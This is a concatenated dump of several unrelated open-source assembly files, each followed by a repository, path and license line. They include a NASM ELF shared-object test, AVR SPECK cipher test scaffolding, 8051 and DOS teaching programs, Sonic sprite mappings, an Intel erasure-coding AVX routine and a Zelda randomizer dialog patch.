; [14] Reference a BSS-section symbol in the text section
; [15] Reference a text-section symbol in the data section
; [16] Reference a data-section symbol in the data section
; [17] Reference a BSS-section symbol in the data section
BITS 32
GLOBAL lrotate:function ; [1]
GLOBAL greet:function ; [1]
GLOBAL asmstr:data asmstr.end-asmstr ; [2]
GLOBAL textptr:data 4 ; [2]
GLOBAL selfptr:data 4 ; [2]
GLOBAL integer:data 4 ; [3]
EXTERN printf ; [10]
COMMON commvar 4:4 ; [7]
EXTERN _GLOBAL_OFFSET_TABLE_
SECTION .text
; prototype: long lrotate(long x, int num);
lrotate: ; [1]
push ebp
mov ebp,esp
mov eax,[ebp+8]
mov ecx,[ebp+12]
.label rol eax,1 ; [4] [8]
loop .label ; [9] [12]
mov esp,ebp
pop ebp
ret
; prototype: void greet(void);
greet push ebx ; we'll use EBX for GOT, so save it
call .getgot
.getgot: pop ebx
add ebx,_GLOBAL_OFFSET_TABLE_ + $$ - .getgot wrt ..gotpc
mov eax,[ebx+integer wrt ..got] ; [14]
mov eax,[eax]
inc eax
mov [ebx+localint wrt ..gotoff],eax ; [14]
mov eax,[ebx+commvar wrt ..got]
push dword [eax]
mov eax,[ebx+localptr wrt ..gotoff] ; [13]
push dword [eax]
mov eax,[ebx+integer wrt ..got] ; [1] [14]
push dword [eax]
lea eax,[ebx+printfstr wrt ..gotoff]
push eax ; [13]
call printf wrt ..plt ; [11]
add esp,16
pop ebx
ret
SECTION .data
; a string
asmstr db 'hello, world', 0 ; [2]
.end
; a string for Printf
printfstr db "integer==%d, localint==%d, commvar=%d"
db 10, 0
; some pointers
localptr dd localint ; [5] [17]
textptr dd greet wrt ..sym ; [15]
selfptr dd selfptr wrt ..sym ; [16]
SECTION .bss
; an integer
integer resd 1 ; [3]
; a local integer
localint resd 1 ; [6]
| techkey/nasm | travis/test/elfso.asm | Assembly | bsd-2-clause | 2,811 |
.286
dosseg
.model small, basic
.stack
.data
hat db 1
hatter dw 23
.code
start:
;mov ax, seg dgroup ; SET DS TO ADDRESS
;mov ds, ax ; DGROUP
inc hat
nop
nop
inc hatter
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
;.exit
end start | jonesm/Gloom | extra/simple.asm | Assembly | mit | 314 |
.ORG 0x0000
; global interrupt disable
cli
; initialize stack
ldi r31,HIGH(RAMEND)
out SPH,r31
ldi r31,LOW(RAMEND)
out SPL,r31
; initialize trigger B1
ldi r16, 0b11 ; portB,1 = output (triggers)
out DDRB, r16
rjmp main
;.include "./Speck_Sce1_LinRAM.asm"
.include "./Speck_Sce1_EncDecWithKeySch.asm"
.CSEG
;******************** Q ELEC FUNCTIONS (START) *********************
; wait : ret + 0xFF * (5*nop + 1*dec + 1*brbc)
wait:
ldi r16, 0xFF ;r16=FF
w_loop:
nop
nop
nop
nop
nop
dec r16 ; r16=r16-1
brbc 1,w_loop ; branch sur loop si Z=0, c¡§¡ès si r16 != 0
ret ; return from subroutine
; wait2 : r17 * wait (to be set inside) + some instructions
wait2:
ldi r17, 0xFF ;
w_loop2:
rcall wait
dec r17 ; r17=r17-1
brbc 1,w_loop2 ; branch sur loop2 si Z=0, c¡§¡ès si r17 != 0
ret ; return from subroutine
;******************** Q ELEC FUNCTIONS (END) *********************
;******************** MAIN (START) *******************************
main:
ldi XH, high(SRAM_INITV)
ldi XL, low(SRAM_INITV)
ldi r18, INITV_NUM_BYTE
INITV_LOOP:
st X+, r18
dec r18
brbc 1, INITV_LOOP
ldi XH, high(SRAM_PTEXT)
ldi XL, low(SRAM_PTEXT)
ldi r18, PTEXT_NUM_BYTE
PTEXT_LOOP:
st X+, r18
dec r18
brbc 1, PTEXT_LOOP; branch if the bit in SREG is cleared. The 1 bit of SREG is Z, so it mean "branch if the result is not 0"
ldi XH, high(SRAM_MASTER_KEY)
ldi XL, low(SRAM_MASTER_KEY)
ldi r18, MASTER_KEY_NUM_BYTE
KEY_LOOP:
st X+, r18
dec r18
brbc 1, KEY_LOOP
; k0 = [16, 15, 14, 13]
/* ldi XH, high(SRAM_KEYS)
ldi XL, low(SRAM_KEYS)
ldi r18, MASTER_KEY_NUM_BYTE
st X+, r18
dec r18
st X+, r18
dec r18
st X+, r18
dec r18
st X+, r18
dec r18*/
; l0 = [12, 11, 10, 9]; l1 = [8, 7, 6, 5]; l2 = [4, 3, 2, 1]
/* ldi XH, high(SRAM_L)
ldi XL, low(SRAM_L)
ldi r18, 12
L_LOOP:
st X+, r18
dec r18
brbc 1, L_LOOP*/
sbi PORTB,1 ; portA,0 = high (trigger on port A0)
nop
nop
nop
nop
cbi PORTB,1 ; portA,0 = low
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
#ifdef KEYSCHEDULE
rcall keyschedule
#endif
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
#ifdef ENCRYPT
rcall encrypt ; encryption routine
#endif
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
#ifdef DECRYPT
rcall decrypt ; encryption routine
#endif
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sbi PORTB,0 ; portA,0 = high (trigger on port A0)
nop
nop
nop
nop
cbi PORTB,0 ; portA,0 = low
;make a pause
rcall wait2
rcall wait2
rcall wait2
rcall wait2
rcall wait2
.DSEG
SRAM_PTEXT: .BYTE PTEXT_NUM_BYTE ; the 16 blocks(each block has 8 bytes) of plaintext. For each block, the byte is from high to low.
SRAM_MASTER_KEY: .BYTE MASTER_KEY_NUM_BYTE ; master keys
SRAM_KEYS: .BYTE KEYS_NUM_BYTE ; the 27*4 bytes of round keys
SRAM_INITV: .BYTE INITV_NUM_BYTE ; an initialization vector that is used in the first block(encryption and decryption)
SRAM_TempCipher: .byte INITV_NUM_BYTE ; store the cipher text of last round. only used in decrtypion.
SRAM_L: .byte 12
;SRAM_L: .byte 116
;******************** MAIN (END) ********************************* | FreeDisciplina/BlockCiphersOnAVR | SPECK_64_128_AVR/Speck_Sce1_EncDecWithKeySch/interface.asm | Assembly | mit | 3,160 |
.area MAIN(ABS)
.org 0x00
LJMP START;
.org 0x30
petla1:
DJNZ R0, petla1;
RET
START:
MOV P1, #0b00000000;
MOV R0, #16 ; swiecenie przez krotszy okres czasu, dzieki czemu widac efekt
LCALL petla1;
MOV P1, #0b00111111;
MOV R0, #255 ; nieswiecenie dluzej
LCALL petla1;
LJMP START;
| pbanaszkiewicz/air_eaiib_tm_8051 | diody2.asm | Assembly | mit | 322 |
.686
include \masm32\include\io.asm
.data
msgInput db "Type dimension of matrix N $> ",0
i dd 0
j dd 0
n dd 0
.code
start:
;looks great if n > 20
outstr offset msgInput
inint32 eax
mov n, eax
mul n
mov ecx, eax
mov eax, n
.while ecx > 0
.if j >= eax
mov j, 0
inc i
newline
.endif
mov ebx, n
sub ebx, j
mov edx, j
.if ebx > i && i < edx
outint8 0, 2
.else
outint8 1, 2
.endif
dec ecx
inc j
.endw
newline
inkey
exit
end start | KubSU/SIOMASM | Examples/Matrices/matrix.asm | Assembly | mit | 484 |
;Read several character strings from the stardard input. Print a message on the screen if the first string appears as sequence in all the other strings.
assume cs:code, ds:data, es:data
data segment public
maxLenStr db 200
lenStr db ?
s db 200 dup (?)
S2 db 100 dup (?)
len_s2 dw ?
printMsg db "Enter the strings: $"
finalMsg db "First string not in every other strings$"
gasitMsg db "First string appears in every string$"
linieN db 10,13,'$'
data ends
code segment public
extrn compara:proc
print proc
mov ah,09h
int 21h
ret
print endp
start:
mov ax,data
mov ds,ax
mov es,ax
; print prompt
lea dx, printMsg
call print
; read strings
lea dx,maxLenStr
mov ah,0Ah
int 21h
;add a last space to fix an ugly bug later, heh
lea bx,s
add bl,lenStr
mov byte ptr [bx],32
lea si,s
lea di, s2
cld ; go increasingly
mov cx,0 ; get len of first string
loop1:
lodsb
stosb
inc cx
cmp byte ptr [si],32 ;stop at first space
jne loop1
mov len_s2,cx
cauta:
inc si
mov cx,len_s2 ;get len
lea di,s2
; SI is at first chatacter already
call compara
cmp al,1
je final
; didn't find it
cmp al,0
je mai_departe
; found it
cmp al,2
je urm_cuvant
urm_cuvant:
inc si
cmp byte ptr [si],32
jne urm_cuvant
mai_departe:
mov ax, si
sub ax,offset s ; get current index
cmp al,lenStr
jb cauta
;print newline
lea dx,linieN
call print
;show result
lea dx,gasitMsg
call print
jmp done
;not appearing in every string
final:
lea dx,linieN
call print
lea dx,finalMsg
call print
done:
mov ax,4c00h
int 21h
code ends
end start | Zephyrrus/ubb | YEAR 1/SEM1/ASC/LAB9/P11.asm | Assembly | mit | 1,636 |
Map_22BD1A: dc.w Frame_22BD20-Map_22BD1A
dc.w Frame_22BD2E-Map_22BD1A
dc.w Frame_22BD3C-Map_22BD1A
Frame_22BD20: dc.w 2
dc.b $F8, 5, 0, 0,$FF,$F0
dc.b $F8, 5, 8, 0, 0, 0
Frame_22BD2E: dc.w 2
dc.b $F8, 5, 0, 4,$FF,$F0
dc.b $F8, 5, 8, 4, 0, 0
Frame_22BD3C: dc.w 2
dc.b $FC, 5, 0, 0,$FF,$F0
dc.b $FC, 5, 8, 0, 0, 0
| TeamASM-Blur/Sonic-3-Blue-Balls-Edition | Working Disassembly/General/Sprites/Buttons/Map - Button 2.asm | Assembly | apache-2.0 | 352 |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2015 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; gf_vect_dot_prod_avx(len, vec, *g_tbls, **buffs, *dest);
;;;
%ifidn __OUTPUT_FORMAT__, elf64
%define arg0 rdi
%define arg1 rsi
%define arg2 rdx
%define arg3 rcx
%define arg4 r8
%define tmp r11
%define tmp2 r10
%define tmp3 r9
%define return rax
%macro SLDR 2
%endmacro
%define SSTR SLDR
%define PS 8
%define func(x) x:
%define FUNC_SAVE
%define FUNC_RESTORE
%endif
%ifidn __OUTPUT_FORMAT__, macho64
%define arg0 rdi
%define arg1 rsi
%define arg2 rdx
%define arg3 rcx
%define arg4 r8
%define tmp r11
%define tmp2 r10
%define tmp3 r9
%define return rax
%macro SLDR 2
%endmacro
%define SSTR SLDR
%define PS 8
%define func(x) x:
%define FUNC_SAVE
%define FUNC_RESTORE
%endif
%ifidn __OUTPUT_FORMAT__, win64
%define arg0 rcx
%define arg1 rdx
%define arg2 r8
%define arg3 r9
%define arg4 r12 ; must be saved and loaded
%define tmp r11
%define tmp2 r10
%define tmp3 rdi ; must be saved and loaded
%define return rax
%macro SLDR 2
%endmacro
%define SSTR SLDR
%define PS 8
%define frame_size 2*8
%define arg(x) [rsp + frame_size + PS + PS*x]
%define func(x) proc_frame x
%macro FUNC_SAVE 0
rex_push_reg r12
push_reg rdi
end_prolog
mov arg4, arg(4)
%endmacro
%macro FUNC_RESTORE 0
pop rdi
pop r12
%endmacro
%endif
%ifidn __OUTPUT_FORMAT__, elf32
;;;================== High Address;
;;; arg4
;;; arg3
;;; arg2
;;; arg1
;;; arg0
;;; return
;;;<================= esp of caller
;;; ebp
;;;<================= ebp = esp
;;; esi
;;; edi
;;; ebx
;;;<================= esp of callee
;;;
;;;================== Low Address;
%define PS 4
%define LOG_PS 2
%define func(x) x:
%define arg(x) [ebp + PS*2 + PS*x]
%define trans ecx ;trans is for the variables in stack
%define arg0 trans
%define arg0_m arg(0)
%define arg1 trans
%define arg1_m arg(1)
%define arg2 arg2_m
%define arg2_m arg(2)
%define arg3 ebx
%define arg4 trans
%define arg4_m arg(4)
%define tmp edx
%define tmp2 edi
%define tmp3 esi
%define return eax
%macro SLDR 2 ;; stack load/restore
mov %1, %2
%endmacro
%define SSTR SLDR
%macro FUNC_SAVE 0
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov arg3, arg(3)
%endmacro
%macro FUNC_RESTORE 0
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
%endmacro
%endif ; output formats
%define len arg0
%define vec arg1
%define mul_array arg2
%define src arg3
%define dest arg4
%define vec_i tmp2
%define ptr tmp3
%define pos return
%ifidn PS,4 ;32-bit code
%define vec_m arg1_m
%define len_m arg0_m
%define dest_m arg4_m
%endif
%ifndef EC_ALIGNED_ADDR
;;; Use Un-aligned load/store
%define XLDR vmovdqu
%define XSTR vmovdqu
%else
;;; Use Non-temporal load/stor
%ifdef NO_NT_LDST
%define XLDR vmovdqa
%define XSTR vmovdqa
%else
%define XLDR vmovntdqa
%define XSTR vmovntdq
%endif
%endif
%ifidn PS,8 ; 64-bit code
default rel
[bits 64]
%endif
section .text
%define xmask0f xmm5
%define xgft_lo xmm4
%define xgft_hi xmm3
%define x0 xmm0
%define xtmpa xmm1
%define xp xmm2
align 16
global gf_vect_dot_prod_avx:function
func(gf_vect_dot_prod_avx)
FUNC_SAVE
SLDR len, len_m
sub len, 16
SSTR len_m, len
jl .return_fail
xor pos, pos
vmovdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte
.loop16:
vpxor xp, xp
mov tmp, mul_array
xor vec_i, vec_i
.next_vect:
mov ptr, [src+vec_i*PS]
vmovdqu xgft_lo, [tmp] ;Load array Cx{00}, Cx{01}, ..., Cx{0f}
vmovdqu xgft_hi, [tmp+16] ; " Cx{00}, Cx{10}, ..., Cx{f0}
XLDR x0, [ptr+pos] ;Get next source vector
add tmp, 32
add vec_i, 1
vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0
vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0
vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0
vpshufb xgft_hi, xgft_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft_lo, xgft_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft_hi, xgft_hi, xgft_lo ;GF add high and low partials
vpxor xp, xp, xgft_hi ;xp += partial
SLDR vec, vec_m
cmp vec_i, vec
jl .next_vect
SLDR dest, dest_m
XSTR [dest+pos], xp
add pos, 16 ;Loop on 16 bytes at a time
SLDR len, len_m
cmp pos, len
jle .loop16
lea tmp, [len + 16]
cmp pos, tmp
je .return_pass
;; Tail len
mov pos, len ;Overlapped offset length-16
jmp .loop16 ;Do one more overlap pass
.return_pass:
mov return, 0
FUNC_RESTORE
ret
.return_fail:
mov return, 1
FUNC_RESTORE
ret
endproc_frame
section .data
align 16
mask0f:
ddq 0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
%macro slversion 4
global %1_slver_%2%3%4
global %1_slver
%1_slver:
%1_slver_%2%3%4:
dw 0x%4
db 0x%3, 0x%2
%endmacro
;;; func core, ver, snum
slversion gf_vect_dot_prod_avx, 02, 04, 0061
| abperiasamy/minio-xl | pkg/erasure/gf_vect_dot_prod_avx.asm | Assembly | apache-2.0 | 6,514 |
;================================================================================
; Dialog Pointer Override
;--------------------------------------------------------------------------------
DialogOverride:
LDA $7F5035 : BEQ .skip
LDA $7F5700, X ; use alternate buffer
RTL
.skip
LDA $7F1200, X
RTL
;--------------------------------------------------------------------------------
; $7F5035 - Alternate Text Pointer Flag ; 0=Disable
; $7F5036 - Padding Byte (Must be Zero)
; $7F5700 - $7F57FF - Dialog Buffer
;--------------------------------------------------------------------------------
ResetDialogPointer:
STZ $1CF0 : STZ $1CF1 ; reset decompression buffer
LDA.b #$00 : STA $7F5035 ; zero out the alternate flag
LDA.b #$1C : STA $1CE9 ; thing we wrote over
RTL
;--------------------------------------------------------------------------------
;macro LoadDialog(index,table)
; PHA : PHX : PHY
; PHB : PHK : PLB
; LDA $00 : PHA
; LDA $01 : PHA
; LDA $02 : PHA
; LDA.b #$01 : STA $7F5035 ; set flag
;
; LDA <index> : ASL : !ADD.l <index> : TAX ; get quote offset *3, move to X
; LDA <table>, X : STA $00 ; write pointer to direct page
; LDA <table>+1, X : STA $01
; LDA <table>+2, X : STA $02
;
; LDX.b #$00 : LDY.b #$00
; -
; LDA [$00], Y ; load the next character from the pointer
; STA $7F5700, X ; write to the buffer
; INX : INY
; CMP.b #$7F : BNE -
; PLA : STA $02
; PLA : STA $01
; PLA : STA $00
; PLB
; PLY : PLX : PLA
;endmacro
;--------------------------------------------------------------------------------
;macro LoadDialogAddress(address)
; PHA : PHX : PHY
; PHP
; PHB : PHK : PLB
; SEP #$30 ; set 8-bit accumulator and index registers
; LDA $00 : PHA
; LDA $01 : PHA
; LDA $02 : PHA
; LDA.b #$01 : STA $7F5035 ; set flag
;
; LDA.b #<address> : STA $00 ; write pointer to direct page
; LDA.b #<address>>>8 : STA $01
; LDA.b #<address>>>16 : STA $02
;
; LDX.b #$00 : LDY.b #$00
; -
; LDA [$00], Y ; load the next character from the pointer
; STA $7F5700, X ; write to the buffer
; INX : INY
; CMP.b #$7F : BNE -
; PLA : STA $02
; PLA : STA $01
; PLA : STA $00
; PLB
; PLP
; PLY : PLX : PLA
;endmacro
;--------------------------------------------------------------------------------
!OFFSET_POINTER = "$7F5094"
!OFFSET_RETURN = "$7F5096"
!DIALOG_BUFFER = "$7F5700"
macro LoadDialogAddress(address)
PHA : PHX : PHY
PHP
PHB : PHK : PLB
SEP #$20 ; set 8-bit accumulator
REP #$10 ; set 16-bit index registers
LDA $00 : PHA
LDA $01 : PHA
LDA $02 : PHA
STZ $1CF0 : STZ $1CF1 ; reset decompression buffer
LDA.b #$01 : STA $7F5035 ; set flag
%CopyDialog(<address>)
PLA : STA $02
PLA : STA $01
PLA : STA $00
PLB
PLP
PLY : PLX : PLA
endmacro
;--------------------------------------------------------------------------------
macro CopyDialog(address)
LDA.b #<address> : STA $00 ; write pointer to direct page
LDA.b #<address>>>8 : STA $01
LDA.b #<address>>>16 : STA $02
%CopyDialogIndirect()
endmacro
;--------------------------------------------------------------------------------
macro CopyDialogIndirect()
REP #$20 : LDA !OFFSET_POINTER : TAX : LDY.w #$0000 : SEP #$20 ; copy 2-byte offset pointer to X and set Y to 0
?loop:
LDA [$00], Y ; load the next character from the pointer
STA !DIALOG_BUFFER, X ; write to the buffer
INX : INY
CMP.b #$7F : BNE ?loop
REP #$20 ; set 16-bit accumulator
TXA : INC : STA !OFFSET_RETURN ; copy out X into
LDA.w #$0000 : STA !OFFSET_POINTER
SEP #$20 ; set 8-bit accumulator
endmacro
;--------------------------------------------------------------------------------
LoadDialogAddressIndirect:
STZ $1CF0 : STZ $1CF1 ; reset decompression buffer
LDA.b #$01 : STA $7F5035 ; set flag
%CopyDialogIndirect()
;%LoadDialogAddress(UncleText)
RTL
;--------------------------------------------------------------------------------
!ITEM_TEMPORARY = "$7F5040"
FreeDungeonItemNotice:
STA !ITEM_TEMPORARY
PHA : PHX : PHY
PHP
PHB : PHK : PLB
SEP #$20 ; set 8-bit accumulator
REP #$10 ; set 16-bit index registers
LDA $00 : PHA
LDA $01 : PHA
LDA $02 : PHA
;--------------------------------
LDA.l FreeItemText : BNE + : BRL .skip : +
LDA #$00 : STA $7F5010 ; initialize scratch
LDA !ITEM_TEMPORARY
CMP.b #$24 : BNE + ; general small key
%CopyDialog(Notice_SmallKeyOf)
LDA !OFFSET_RETURN : DEC #2 : STA !OFFSET_POINTER
%CopyDialog(Notice_Self)
BRL .done
+ : CMP.b #$25 : BNE + ; general compass
%CopyDialog(Notice_CompassOf)
LDA !OFFSET_RETURN : DEC #2 : STA !OFFSET_POINTER
%CopyDialog(Notice_Self)
BRL .done
+ : CMP.b #$33 : BNE + ; general map
%CopyDialog(Notice_MapOf)
LDA !OFFSET_RETURN : DEC #2 : STA !OFFSET_POINTER
%CopyDialog(Notice_Self)
BRL .done
+ : CMP.b #$32 : BNE + ; general big key
%CopyDialog(Notice_BigKeyOf)
LDA !OFFSET_RETURN : DEC #2 : STA !OFFSET_POINTER
%CopyDialog(Notice_Self)
BRL .done
+
AND.b #$F0 ; looking at high bits only
CMP.b #$70 : BNE + ; map of...
%CopyDialog(Notice_MapOf)
BRL .dungeon
+ : CMP.b #$80 : BNE + ; compass of...
%CopyDialog(Notice_CompassOf)
BRL .dungeon
+ : CMP.b #$90 : BNE + ; big key of...
%CopyDialog(Notice_BigKeyOf)
BRA .dungeon
+ : CMP.b #$A0 : BNE + ; small key of...
LDA !ITEM_TEMPORARY : CMP.b #$AF : BNE ++ : BRL .skip : ++
%CopyDialog(Notice_SmallKeyOf)
PLA : AND.b #$0F : STA $7F5020 : LDA.b #$0F : !SUB $7F5020 : PHA
LDA #$01 : STA $7F5010 ; set up a flip for small keys
BRA .dungeon
+
BRL .skip ; it's not something we are going to give a notice for
.dungeon
LDA !OFFSET_RETURN : DEC #2 : STA !OFFSET_POINTER
LDA !ITEM_TEMPORARY
AND.b #$0F ; looking at low bits only
STA $7F5011
LDA $7F5010 : BEQ +
LDA $7F5010
LDA #$0F : !SUB $7F5011 : STA $7F5011 ; flip the values for small keys
+
LDA $7F5011
CMP.b #$00 : BNE + ; ...light world
%CopyDialog(Notice_LightWorld) : BRL .done
+ : CMP.b #$01 : BNE + ; ...dark world
%CopyDialog(Notice_DarkWorld) : BRL .done
+ : CMP.b #$02 : BNE + ; ...ganon's tower
%CopyDialog(Notice_GTower) : BRL .done
+ : CMP.b #$03 : BNE + ; ...turtle rock
%CopyDialog(Notice_TRock) : BRL .done
+ : CMP.b #$04 : BNE + ; ...thieves' town
%CopyDialog(Notice_Thieves) : BRL .done
+ : CMP.b #$05 : BNE + ; ...tower of hera
%CopyDialog(Notice_Hera) : BRL .done
+ : CMP.b #$06 : BNE + ; ...ice palace
%CopyDialog(Notice_Ice) : BRL .done
+ : CMP.b #$07 : BNE + ; ...skull woods
%CopyDialog(Notice_Skull) : BRL .done
+ : CMP.b #$08 : BNE + ; ...misery mire
%CopyDialog(Notice_Mire) : BRL .done
+ : CMP.b #$09 : BNE + ; ...dark palace
%CopyDialog(Notice_PoD) : BRL .done
+ : CMP.b #$0A : BNE + ; ...swamp palace
%CopyDialog(Notice_Swamp) : BRL .done
+ : CMP.b #$0B : BNE + ; ...agahnim's tower
%CopyDialog(Notice_AgaTower) : BRL .done
+ : CMP.b #$0C : BNE + ; ...desert palace
%CopyDialog(Notice_Desert) : BRL .done
+ : CMP.b #$0D : BNE + ; ...eastern palace
%CopyDialog(Notice_Eastern) : BRA .done
+ : CMP.b #$0E : BNE + ; ...hyrule castle
%CopyDialog(Notice_Castle) : BRA .done
+ : CMP.b #$0F : BNE + ; ...sewers
%CopyDialog(Notice_Sewers)
+
.done
STZ $1CF0 : STZ $1CF1 ; reset decompression buffer
LDA.b #$01 : STA $7F5035 ; set alternate dialog flag
LDA.b #$01 : STA $7F50A0
;--------------------------------
PLA : STA $02
PLA : STA $01
PLA : STA $00
PLB
PLP
PLY : PLX : PLA
;JSL.l Main_ShowTextMessage_Alt
RTL
.skip
;--------------------------------
PLA : STA $02
PLA : STA $01
PLA : STA $00
PLB
PLP
PLY : PLX : PLA
RTL
;--------------------------------------------------------------------------------
DialogResetSelectionIndex:
JSL.l Attract_DecompressStoryGfx ; what we wrote over
STZ $1CE8
RTL
;--------------------------------------------------------------------------------
DialogItemReceive:
BCS .noMessage ; if doubling the item value overflowed it must be a rando item
CPY #$98 : !BLT + ;if the item is $4C or greater it must be a rando item
.noMessage
LDA.w #$FFFF
BRA .done
+
LDA Ancilla_ReceiveItem_item_messages, Y
.done
CMP.w #$FFFF
RTL
;--------------------------------------------------------------------------------
DialogFairyThrow:
LDA.l Restrict_Ponds : BEQ .normal
LDA $7EF35C : ORA $7EF35D : ORA $7EF35E : ORA $7EF35F : BNE .normal
.noInventory
LDA $0D80, X : !ADD #$08 : STA $0D80, X
LDA.b #$51
LDY.b #$01
RTL
.normal
LDA.b #$88
LDY.b #$00
RTL
;--------------------------------------------------------------------------------
DialogGanon1:
JSL.l CheckGanonVulnerability : BCS +
REP #$20 : LDA.w #$018C : STA $1CF0 : SEP #$20
BRA ++
+
REP #$20 : LDA.w #$016D : STA $1CF0 : SEP #$20
++
JSL.l Sprite_ShowMessageMinimal_Alt
RTL
;--------------------------------------------------------------------------------
DialogGanon2:
JSL.l CheckGanonVulnerability : BCS +
REP #$20 : LDA.w #$018D : STA $1CF0 : SEP #$20
BRA ++
+
REP #$20 : LDA.w #$016E : STA $1CF0 : SEP #$20
++
JSL.l Sprite_ShowMessageMinimal_Alt
RTL
;--------------------------------------------------------------------------------
DialogEtherTablet:
PHA
LDA $0202 : CMP.b #$0F : BEQ + ; Show normal text if book is not equipped
-
PLA : JSL Sprite_ShowMessageUnconditional ; Wacky Hylian Text
RTL
+
BIT $F4 : BVC - ; Show normal text if Y is not pressed
LDA.l AllowHammerTablets : BEQ ++
LDA $7EF34B : BEQ .yesText : BRA .noText
++
LDA $7EF359 : CMP.b #$FF : BEQ .yesText : CMP.b #$02 : !BGE .noText
;++
.yesText
PLA
LDA.b #$0c
LDY.b #$01
JSL Sprite_ShowMessageUnconditional ; Text From MSPedestalText (tables.asm)
RTL
.noText
PLA
RTL
;--------------------------------------------------------------------------------
DialogBombosTablet:
PHA
LDA $0202 : CMP.b #$0F : BEQ + ; Show normal text if book is not equipped
-
PLA : JSL Sprite_ShowMessageUnconditional ; Wacky Hylian Text
RTL
+
BIT $F4 : BVC - ; Show normal text if Y is not pressed
LDA.l AllowHammerTablets : BEQ ++
LDA $7EF34B : BEQ .yesText : BRA .noText
++
LDA $7EF359 : CMP.b #$FF : BEQ .yesText : CMP.b #$02 : !BGE .noText
;++
.yesText
PLA
LDA.b #$0D
LDY.b #$01
JSL Sprite_ShowMessageUnconditional ; Text From MSPedestalText (tables.asm)
RTL
.noText
PLA
RTL
;--------------------------------------------------------------------------------
DialogSahasrahla:
LDA.l $7EF374 : AND #$04 : BEQ + ;Check if player has green pendant
LDA.b #$2F
LDY.b #$00
JSL.l Sprite_ShowMessageUnconditional
+
RTL
;--------------------------------------------------------------------------------
DialogBombShopGuy:
LDA.l $7EF37A : AND #$05 : CMP #$05 : BEQ + ;Check if player has crystals 5 & 6
LDA.b #$15
LDY.b #$01
JSL.l Sprite_ShowMessageUnconditional
RTL
+
LDA.b #$16
LDY.b #$01
JSL.l Sprite_ShowMessageUnconditional
RTL
;--------------------------------------------------------------------------------
Main_ShowTextMessage_Alt:
; Are we in text mode? If so then end the routine.
LDA $10 : CMP.b #$0E : BEQ .already_in_text_mode
Sprite_ShowMessageMinimal_Alt:
STZ $11
PHX : PHY
LDA.b $00 : PHA
LDA.b $01 : PHA
LDA.b $02 : PHA
LDA.b #$1C : STA.b $02
REP #$30
LDA.w $1CF0 : ASL : TAX
LDA.l $7f71c0, X
STA.b $00
SEP #$30
LDY.b #$00
LDA [$00], Y : CMP.b #$fe : BNE +
INY : LDA [$00], Y : CMP.b #$6e : BNE +
INY : LDA [$00], Y : : BNE +
INY : LDA [$00], Y : CMP.b #$fe : BNE +
INY : LDA [$00], Y : CMP.b #$6b : BNE +
INY : LDA [$00], Y : CMP.b #$04 : BNE +
STZ $1CE8
BRL .end
+
STZ $0223 ; Otherwise set it so we are in text mode.
STZ $1CD8 ; Initialize the step in the submodule
; Go to text display mode (as opposed to maps, etc)
LDA.b #$02 : STA $11
; Store the current module in the temporary location.
LDA $10 : STA $010C
; Switch the main module ($10) to text mode.
LDA.b #$0E : STA $10
.end
PLA : STA.b $02
PLA : STA.b $01
PLA : STA.b $00
PLY : PLX
Main_ShowTextMessage_Alt_already_in_text_mode:
RTL
;--------------------------------------------------------------------------------
; A0 - A9 - 0 - 9
; AA - C3 - A - Z
; C6 - ?
; C7 - !
; C8 - ,
; C9 - - Hyphen
; CD - Japanese period
; CE - ~
; D8 - ` apostraphe
;;--------------------------------------------------------------------------------
;DialogUncleData:
;;--------------------------------------------------------------------------------
; .pointers
; dl #DialogUncleData_weetabix
; dl #DialogUncleData_bootlessUntilBoots
; dl #DialogUncleData_onlyOneBed
; dl #DialogUncleData_onlyTextBox
; dl #DialogUncleData_mothTutorial
; dl #DialogUncleData_seedWorst
; dl #DialogUncleData_chasingTail
; dl #DialogUncleData_doneBefore
; dl #DialogUncleData_capeCanPass
; dl #DialogUncleData_bootsAtRace
; dl #DialogUncleData_kanzeonSeed
; dl #DialogUncleData_notRealUncle
